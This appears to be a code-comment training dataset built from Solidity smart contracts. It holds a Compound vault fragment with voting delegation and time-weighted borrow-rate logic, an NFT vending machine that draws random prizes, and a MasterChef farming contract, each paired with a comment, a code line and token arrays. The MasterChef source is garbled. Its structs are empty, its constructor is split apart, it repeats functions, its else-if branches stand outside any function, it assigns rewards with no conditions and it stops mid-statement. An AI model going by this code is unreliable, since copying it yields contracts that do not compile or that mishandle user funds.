amount, address firstDelegation) external { // Check if we need to update our TWAR if ((block.timestamp - Storage.uint256Ptr(LAST_UPDATED_AT).data) >= period) { _updateTwar(); } // No delegating to zero require(firstDelegation != address(0), "Zero addr delegation"); // transfer underlying to this address underlying.transferFrom(msg.sender, address(this), amount); // Now let's go ahead and deposit to compound // Allow the cToken access to the newly deposited balance underlying.approve(address(cToken), amount); uint256 balanceBefore = cToken.balanceOf(address(this)); require(cToken.mint(amount) == 0, "Error minting cToken"); uint256 cTokensMinted = cToken.balanceOf(address(this)) - balanceBefore; // Load our deposits storage Storage.AddressUint storage userData = _deposits()[fundedAccount]; // Load who has the user's votes address delegate = userData.who; if (delegate == address(0)) { // If the user is un-delegated we delegate to their indicated address delegate = firstDelegation; // Set the delegation userData.who = delegate; // Now we increase the user's recorded deposit (in cTokens) userData.amount += uint96(cTokensMinted); } else { userData.amount += uint96(cTokensMinted); } // Next we increase the delegation to their delegate // Get the storage pointer History.HistoricalBalances memory cTokenBalances = _cTokenBalances(); // Load the most recent cTokens stamp uint256 delegateeCTokens = cTokenBalances.loadTop(delegate); // Add the newly deposited cTokens to the delegate cTokenBalances.push(delegate, delegateeCTokens + cTokensMinted); // Emit event for vote change emit VoteChange(fundedAccount, delegate, int256(_calculateCTokenVotingPower(cTokensMinted))); } /** * @notice Removes cTokens from compound, converts them to underlying and transfers to user * @param amount The amount of cTokens to withdraw */ function withdraw(uint256 amount) external { // Load our deposits storage Storage.AddressUint storage userData = _deposits()[msg.sender]; // Reduce the user's stored balance // If properly optimized this block should result in 1 sload 1 store userData.amount -= uint96(amount); address delegate = userData.who; // Reduce the delegate historical cToken balance // Get the storage pointer History.HistoricalBalances memory cTokenBalances = _cTokenBalances(); // Load the most recent cTokens stamp uint256 delegateeCTokens = cTokenBalances.loadTop(delegate); // remove withdrawn cTokens from the delegate cTokenBalances.push(delegate, delegateeCTokens - amount); emit VoteChange(msg.sender, delegate, -1 * int256(_calculateCTokenVotingPower(amount))); // Now let's withdraw our cTokens, convert them to underlying, and send them to msg.sender uint256 balanceBefore = underlying.balanceOf(address(this)); require(cToken.redeem(amount) == 0, "Error redeeming cTokens"); uint256 underlyingRedeemed = underlying.balanceOf(address(this)) - balanceBefore; underlying.transfer(msg.sender, underlyingRedeemed); } /** * @notice Changes a user's historical cToken balance (and thus voting power) * @param newDelegate the new address which gets delegated the cToken balance */ function changeDelegation(address newDelegate) external { // Get the stored user data Storage.AddressUint storage userData = _deposits()[msg.sender]; // Get the user balance uint256 userBalance = uint256(userData.amount); address oldDelegate = userData.who; // Reset the user delegation userData.who = newDelegate; // calculate current effect on vote change int256 voteChangeEffect = int256(_calculateCTokenVotingPower(userBalance)); // Reduce the delegate historical cToken balance // Get the storage pointer History.HistoricalBalances memory cTokenBalances = _cTokenBalances(); // Load the most recent cTokens stamp uint256 delegateeCTokens = cTokenBalances.loadTop(oldDelegate); cTokenBalances.push(oldDelegate, delegateeCTokens - userBalance); emit VoteChange(msg.sender, oldDelegate, -1 * voteChangeEffect); // Get the new delegate's votes uint256 newDelegateCTokens = cTokenBalances.loadTop(newDelegate); // Store increase in delegated cToken balance cTokenBalances.push(newDelegate, newDelegateCTokens + userBalance); emit VoteChange(msg.sender, newDelegate, voteChangeEffect); } /** * @notice Uses the time weighted borrow rate to calculate the voting power of the given number of cTokens * @param numCTokens the number of cTokens * @return the voting power of this number of cTokens at the current block */ function _calculateCTokenVotingPower(uint256 numCTokens) internal returns (uint256) { // First let's see how much of the underlying numCTokens is worth // exchangeRate is scaled by 10^(10 + underlying.decimals()) so we need to divide appropriately at end // see https://compound.finance/docs/ctokens#exchange-rate uint256 underlyingAmount = (numCTokens * cToken.exchangeRateCurrent()) / (10 ** (10 + cToken.decimals())); // Ok, now let's weight the underlyingAmount according to the TWAR uint256 twarMultiplier = Storage.uint256Ptr(TWAR_MULTIPLIER).data; // TWAR is scaled by a factor of 10^18, so let's divide that out return (underlyingAmount * twarMultiplier) / (10**18); } /** * @notice updates the TWAR state (twarSnapshots, twarIndex, twarMultiplier, etc.) */ function _updateTwar() internal { // Let's fetch the most recent twarSnapshot created CompoundVaultStorage.twarSnapshot[] storage twarSnapshots = CompoundVaultStorage.arrayPtr(TWAR_SNAPSHOTS); CompoundVaultStorage.twarSnapshot memory lastSnapshot; uint256 twarIndex = Storage.uint256Ptr(TWAR_INDEX).data; if (twarSnapshots.length > 0) { // grab the last snapshot lastSnapshot = twarSnapshots[twarIndex]; } else { // This means that we have never added to the twarArray // Let's construct a dummy twarSnapshot struct in this case lastSnapshot = CompoundVaultStorage.twarSnapshot( 0, // set cumulative rate to 0 block.timestamp - period // set the last timestamp to be 'period' seconds in the past ); } // Now let's construct our new snapshot uint256 elapsedTime = block.timestamp - lastSnapshot.timestamp; // Let's query for the current cToken borrow rate uint256 currBorrowRate = cToken.borrowRatePerBlock(); uint256 newCumulativeRate = lastSnapshot.cumulativeRate + (currBorrowRate * elapsedTime); CompoundVaultStorage.twarSnapshot memory newSnapshot = CompoundVaultStorage.twarSnapshot( newCumulativeRate, block.timestamp ); // Let's figure out where we should place this new snapshot (increment, wrap around, or expand array) uint256 newTwarIndex; if (twarSnapshots.length < twarSnapshotsMaxLength) { // We should expand in the array in this case twarSnapshots.push(newSnapshot); newTwarIndex = twarSnapshots.length - 1; Storage.set(Storage.uint256Ptr(TWAR_INDEX), newTwarIndex); } else { // in this case our array is the max size, and we simply need to increment the index, possibly wrapping around // to the beginning of the array newTwarIndex = (twarIndex + 1) % twarSnapshots.length; Storage.set(Storage.uint256Ptr(TWAR_INDEX), newTwarIndex); twarSnapshots[newTwarIndex] = newSnapshot; } // Now let's update our current twarMultiplier // If we don't have maxLength # of snapshots in our array, just default to 0 CompoundVaultStorage.twarSnapshot memory subtractSnapshot; if (twarSnapshots.length == twarSnapshotsMaxLength) { subtractSnapshot = twarSnapshots[(newTwarIndex + 1) % twarSnapshots.length]; } else if (twarSnapshots.length == 1) { // We have only one snapshot, so let's use the dummy snapshot subtractSnapshot = lastSnapshot; } else { // Else, we have 1 < x < Max length number of snapshots, and take snapshot at index 0 to be our subtract snapshot subtractSnapshot = twarSnapshots[0]; } // The borrow rate is given per block, so let's multiply by blocks per year to get the projected annual borrow rate uint256 weightedAnnualBorrowRate = ((newSnapshot.cumulativeRate - subtractSnapshot.cumulativeRate) * (10**18) * BLOCKS_PER_YEAR) / ((newSnapshot.timestamp - subtractSnapshot.timestamp) * (10**18)); // Because of annual borrow rate is an estimate there is a (very unlikely) chance that the first subtraction expression is negative // if the borrow rate is extremeley (close to 100%) for a prolonged period of time // we prevent a revert in this extreme edge case via the ternary expression below uint256 newMultiplier = (10**18 - weightedAnnualBorrowRate) > 0 ? (10**18 - weightedAnnualBorrowRate) : 0; uint256 oldMultiplier = Storage.uint256Ptr(TWAR_MULTIPLIER).data; Storage.set(Storage.uint256Ptr(TWAR_MULTIPLIER), newMultiplier); emit MultiplierChanged(oldMultiplier, newMultiplier); // Finally, let's update the LAST_UPDATED_AT storage var Storage.set(Storage.uint256Ptr(LAST_UPDATED_AT), block.timestamp); } } contract CompoundVault is AbstractCompoundVault { /** * @notice constructor that sets the immutables * @param _underlying the underlying governance token * @param _cToken the cToken of the governance token * @param comptroller the address of the Compound Comptroller * @param _period the minimum delay period between sampling the borrow rate * @param _staleBlockLag stale block lag in units of blocks * @param _twarSnapshotsMaxLength the max length of the twarSnapshots array */ constructor( IERC20 _underlying, ICToken _cToken, IComptroller comptroller, uint256 _period, uint256 _staleBlockLag, uint256 _twarSnapshotsMaxLength ) AbstractCompoundVault(_underlying, _cToken, comptroller, _period, _staleBlockLag, _twarSnapshotsMaxLength) // prettier-ignore {} }
No delegating to zero
require(firstDelegation != address(0), "Zero addr delegation");
12,991,507
[ 1, 2279, 11158, 1776, 358, 3634, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2583, 12, 3645, 26945, 480, 1758, 12, 20, 3631, 315, 7170, 3091, 23595, 8863, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; import "../../@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "../../@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "../../@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "../../@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "../../@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../../@openzeppelin/contracts/utils/structs/EnumerableMap.sol"; import "../../@openzeppelin/contracts/access/Ownable.sol"; import "../../@openzeppelin/contracts/security/Pausable.sol"; import "../Cloneable/Cloneable.sol"; import "../PaymentSplitter/PaymentSplitter.sol"; import "../libraries/Random.sol"; contract NFTVendingMachine is IERC721Receiver, IERC1155Receiver, Cloneable, Pausable, Ownable { using EnumerableSet for EnumerableSet.Bytes32Set; using EnumerableMap for EnumerableMap.AddressToUintMap; using SafeERC20 for IERC20; using Random for uint256; /****** STRUCTURES ******/ enum NFTType { ERC721, ERC1155 } struct Collection { NFTType tokenType; address tokenContract; uint256 mintValue; } struct Prize { NFTType collectionType; address collection; uint256 tokenId; uint256 value; address winner; } /****** EVENTS ******/ event ERC721Received(address indexed operator, address indexed from, uint256 indexed tokenId, bytes data); event ERC1155Received( address indexed operator, address indexed from, uint256 indexed id, uint256 value, bytes data ); event ERC1155BatchReceived( address indexed operator, address indexed from, uint256[] ids, uint256[] values, bytes data ); event TokenDeposited(address indexed collection, uint256 indexed tokenId, NFTType indexed tokenType); event TokenDrawn(address indexed collection, uint256 indexed tokenId, NFTType indexed tokenType, address winner); event PaymentTokenUpdate(address indexed _old, address indexed _new); /****** STORAGE CONTAINERS ******/ IERC20 public PAYMENT_TOKEN; IPaymentSplitter private immutable BASE_PAYMENT_SPLITTER; address private constant developer = 0xb2D555044CdE0a8A297F082f05ae6B1eFf663784; uint256 private constant developerShare = 1; mapping(address => bool) public permittedCollections; // by contract address, stores if the collection is permitted mapping(address => Collection) private _collections; EnumerableMap.AddressToUintMap private _collectionShares; // stores the number of "shares" for funds distribution uint256 public totalShares; // holds the total shares in existence uint256 public totalValueDeposited; // holds the aggregate value of all deposited tokens Collection[] public collections; // holds enumerable collections information mapping(address => address) public collectionBeneficiary; // by contract address mapping(bytes32 => Prize) public prizes; // by hash, stores the prizes EnumerableSet.Bytes32Set private _availablePrizes; // used to store and index of available prizes EnumerableSet.Bytes32Set private _allPrizes; // used to store an index of all prizes deposited IPaymentSplitter public proceedsReceiver; /****** CONSTRUCTOR METHOD ******/ constructor() { BASE_PAYMENT_SPLITTER = new PaymentSplitter(); BASE_PAYMENT_SPLITTER.initialize(); BASE_PAYMENT_SPLITTER.transferOwnership(address(0)); // On construction, ownership is transferred to NULL address _transferOwnership(address(0)); } function initialize() public initializer isCloned { _transferOwnership(_msgSender()); _pause(); } /****** PUBLIC VIEW METHODS ******/ function collectionsCount() public view returns (uint256) { return collections.length; } function collectionShares(address collection) public view returns (uint256) { require(_collectionShares.contains(collection), "Collection does not have shares"); return _collectionShares.get(collection); } function drawPrice() public view returns (uint256) { if (totalShares == 0) { return 0; } return totalValueDeposited / totalShares; } function prize(uint256 index) public view returns (Prize memory) { bytes32 hash = _allPrizes.at(index); return prizes[hash]; } function prizeCount() public view returns (uint256) { return _availablePrizes.length(); } function prizeCountAll() public view returns (uint256) { return _allPrizes.length(); } /****** PUBLIC METHODS ******/ function draw() public payable whenNotPaused returns ( address collection, uint256 tokenId, NFTType tokenType ) { uint256 count = prizeCount(); require(count != 0, "Potluck complete!"); uint256 price = drawPrice(); if (address(PAYMENT_TOKEN) == address(0)) { require(msg.value == price, "Caller supplied incorrect amount"); // send the funds to the payment splitter (bool sent, ) = address(proceedsReceiver).call{ value: price }(""); require(sent, "Could not forward funds to receiver"); // distribute the funds proceedsReceiver.releaseAll(); } else { // send the funds to the payment splitter PAYMENT_TOKEN.safeTransferFrom(_msgSender(), address(proceedsReceiver), price); // distribute the funds proceedsReceiver.releaseAll(address(PAYMENT_TOKEN)); } uint256 random = count.randomize(); // RNG within the bounds of the count bytes32 prizeHash = _availablePrizes.at(random); // get the prize hash _availablePrizes.remove(prizeHash); // remove the prize from the available prizes Prize storage _prize = prizes[prizeHash]; // get the prize data _prize.winner = _msgSender(); // update the prize winner if (_prize.collectionType == NFTType.ERC721) { IERC721(_prize.collection).safeTransferFrom(address(this), _msgSender(), _prize.tokenId); } else { IERC1155(_prize.collection).safeTransferFrom(address(this), _msgSender(), _prize.tokenId, _prize.value, ""); } emit TokenDrawn(_prize.collection, _prize.tokenId, _prize.collectionType, _msgSender()); return (_prize.collection, _prize.tokenId, _prize.collectionType); } /****** TOKEN DEPOSIT METHODS ******/ function depositTokens(address collection, uint256[] memory tokenIds) public whenPaused { require(permittedCollections[collection], "Collection not permitted"); NFTType _type = _collections[collection].tokenType; for (uint256 i = 0; i < tokenIds.length; i++) { uint256 tokenId = tokenIds[i]; // take ownership of the token if (_type == NFTType.ERC721) { IERC721(collection).safeTransferFrom(_msgSender(), address(this), tokenId); } else { IERC1155(collection).safeTransferFrom(_msgSender(), address(this), tokenId, 1, ""); } // compute the hash bytes32 hash = keccak256(abi.encodePacked(collection, tokenId, _msgSender())); _availablePrizes.add(hash); // add the prize to the available prizes _allPrizes.add(hash); // add the prize to the all prizes // construct the prize prizes[hash] = Prize({ collectionType: _type, collection: collection, tokenId: tokenId, value: 1, winner: address(0) }); // update the shares uint256 shares = _collectionShares.get(collection); _collectionShares.set(collection, ++shares); // increment the total shares totalShares++; // bump the aggregated mint price totalValueDeposited += _collections[collection].mintValue; emit TokenDeposited(collection, tokenId, NFTType.ERC721); } } /****** MANAGEMENT METHODS ******/ function enableCollection( address collection, NFTType _type, uint256 _mintValue, address _beneficiary ) public onlyOwner whenPaused { require(collection != address(0), "Collection cannot be null address"); require(!permittedCollections[collection], "Collection Already Enabled"); require(_beneficiary != address(0), "Beneficiary cannot be null address"); // set the collection share count to 0 _collectionShares.set(collection, 0); // add the beneficiary collectionBeneficiary[collection] = _beneficiary; // push the collection to the stack _collections[collection] = Collection({ tokenType: _type, tokenContract: collection, mintValue: _mintValue }); collections.push(_collections[collection]); // set the collection as "enabled" permittedCollections[collection] = true; } function setPaymentToken(address token) public onlyOwner whenPaused { address old = address(PAYMENT_TOKEN); PAYMENT_TOKEN = IERC20(token); emit PaymentTokenUpdate(old, token); } function unpause() public onlyOwner whenPaused { require(prizeCount() != 0, "No prizes have been deposited"); // clone the automatic payment splitter (saves gas) proceedsReceiver = IPaymentSplitter(BASE_PAYMENT_SPLITTER.clone()); proceedsReceiver.initialize(); proceedsReceiver.addPayee(developer, developerShare); // contract developer gets 1 share // loop through the collection shares and set them up as payees in the splitter for (uint256 i = 0; i < _collectionShares.length(); i++) { (address collection, uint256 shares) = _collectionShares.at(i); proceedsReceiver.addPayee(collectionBeneficiary[collection], shares); } proceedsReceiver.transferOwnership(address(0)); // renounce the ownership of the payment splitter _unpause(); // unpause the contract, thereby opening up the drawing _transferOwnership(address(0)); // transfer the ownership to the null address } /****** ERC-165 METHOD ******/ function supportsInterface(bytes4 interfaceId) public pure override returns (bool) { return interfaceId == type(IERC721Receiver).interfaceId || interfaceId == type(IERC1155Receiver).interfaceId; } /****** RECEIVER METHODS ******/ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public override returns (bytes4) { require(operator == address(this), "ERC721Holder: Must not transfer to contract directly"); emit ERC721Received(operator, from, tokenId, data); return IERC721Receiver.onERC721Received.selector; } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) public override returns (bytes4) { require(operator == address(this), "ERC1155Holder: Must not transfer to contract directly"); emit ERC1155Received(operator, from, id, value, data); return IERC1155Receiver.onERC1155Received.selector; } function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) public override returns (bytes4) { require(operator == address(this), "ERC1155Holder: Must not transfer to contract directly"); emit ERC1155BatchReceived(operator, from, ids, values, data); return IERC1155Receiver.onERC1155BatchReceived.selector; } }
stores the number of "shares" for funds distribution
EnumerableMap.AddressToUintMap private _collectionShares;
2,578,698
[ 1, 19632, 326, 1300, 434, 315, 30720, 6, 364, 284, 19156, 7006, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 6057, 25121, 863, 18, 1887, 774, 5487, 863, 3238, 389, 5548, 24051, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x7AdfEf4B5478E56Ab9C3f883B173632167190DB4/sources/browser/MasterChef_all.sol
MasterChef is the master of Creed. He can make Creed and he is a fair guy. Note that it's ownable and the owner wields tremendous power. The ownership will be transferred to a governance smart contract once CREED is sufficiently distributed and the community can show to govern itself. Have fun reading it. Hopefully it's bug-free. God bless. Info of each user.
contract MasterChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; struct UserInfo { } struct PoolInfo { } event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( CreedToken _creed, address _devaddr, uint256 _creedPerBlock, uint256 _startBlock, uint256 _bonusEndBlock CreedToken public creed; address public devaddr; uint256 public bonusEndBlock; uint256 public creedPerBlock; uint256 public constant BONUS_MULTIPLIER = 10; IMigratorChef public migrator; PoolInfo[] public poolInfo; mapping (uint256 => mapping (address => UserInfo)) public userInfo; uint256 public totalAllocPoint = 0; uint256 public startBlock; ) public { creed = _creed; devaddr = _devaddr; creedPerBlock = _creedPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accCreedPerShare: 0 })); } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accCreedPerShare: 0 })); } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accCreedPerShare: 0 })); } function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); return _to.sub(_from); return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); return _to.sub(_from); return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } } else if (_from >= bonusEndBlock) { } else { function pendingCreed(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accCreedPerShare = pool.accCreedPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 gapBlock = block.number.sub(startBlock); uint256 reward = 0; if(gapBlock < 10000) { reward = 20000000000000000000; reward = 10000000000000000000; reward = 5000000000000000000; reward = 2500000000000000000; reward = 1250000000000000000; reward = 0; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); accCreedPerShare = accCreedPerShare.add(creedReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accCreedPerShare).div(1e12).sub(user.rewardDebt); } function pendingCreed(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accCreedPerShare = pool.accCreedPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 gapBlock = block.number.sub(startBlock); uint256 reward = 0; if(gapBlock < 10000) { reward = 20000000000000000000; reward = 10000000000000000000; reward = 5000000000000000000; reward = 2500000000000000000; reward = 1250000000000000000; reward = 0; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); accCreedPerShare = accCreedPerShare.add(creedReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accCreedPerShare).div(1e12).sub(user.rewardDebt); } function pendingCreed(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accCreedPerShare = pool.accCreedPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 gapBlock = block.number.sub(startBlock); uint256 reward = 0; if(gapBlock < 10000) { reward = 20000000000000000000; reward = 10000000000000000000; reward = 5000000000000000000; reward = 2500000000000000000; reward = 1250000000000000000; reward = 0; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); accCreedPerShare = accCreedPerShare.add(creedReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accCreedPerShare).div(1e12).sub(user.rewardDebt); } } else if(gapBlock < 30000) { } else if(gapBlock < 70000) { } else if(gapBlock < 150000) { } else if(gapBlock < 310000) { } else { uint256 creedReward = multiplier.mul(reward).mul(pool.allocPoint).div(totalAllocPoint); function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } if(startBlock > block.number){ uint256 gapBlock = block.number.sub(startBlock); if(gapBlock < 10000) { creedPerBlock = 20000000000000000000; creedPerBlock = 10000000000000000000; creedPerBlock = 5000000000000000000; creedPerBlock = 